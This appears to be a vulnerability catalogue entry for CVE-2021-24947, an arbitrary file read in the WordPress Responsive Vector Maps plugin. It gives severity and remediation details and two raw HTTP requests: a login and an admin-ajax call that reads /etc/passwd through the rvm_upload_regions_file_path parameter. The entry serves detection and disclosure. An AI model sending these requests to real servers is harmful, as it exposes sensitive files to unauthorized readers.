| Title | WordPress Responsive Vector Maps < 6.4.2 - Arbitrary File Read |
|---|---|
| Author | cckuailong |
| Severity | Medium |
| Impact | An attacker can read sensitive files on the server, potentially leading to unauthorized access or exposure of sensitive information. |
| Remediation | Update WordPress Responsive Vector Maps plugin to version 6.4.2 or later to mitigate the vulnerability. |
| CVSS Score | 6.5 |
| EPSS Score | 0.10223 |
| CVE ID | CVE-2021-24947 |
| CWE ID | CWE-352,CWE-863 |
| Tags | cve2021 cve authenticated wpscan lfi wp wordpress wp-plugin lfr thinkupthemes vuln |
WordPress Responsive Vector Maps < 6.4.2 contains an arbitrary file read vulnerability because the plugin does not have proper authorization and validation of the rvm_upload_regions_file_path parameter in the rvm_import_regions AJAX action, allowing any authenticated user to read arbitrary files on the web server.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Origin: /
Accept-Encoding: gzip
log=XM2MqH&pwd=nxHHWX&wp-submit=Log+In&testcookie=1
GET /wp-admin/admin-ajax.php?action=rvm_import_regions&nonce=5&rvm_mbe_post_id=1&rvm_upload_regions_file_path=/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11) AppleWebKit/617.29 (KHTML, like Gecko) Version/17.7 Safari/617.29
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24947.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24947.pcap
N/AN/A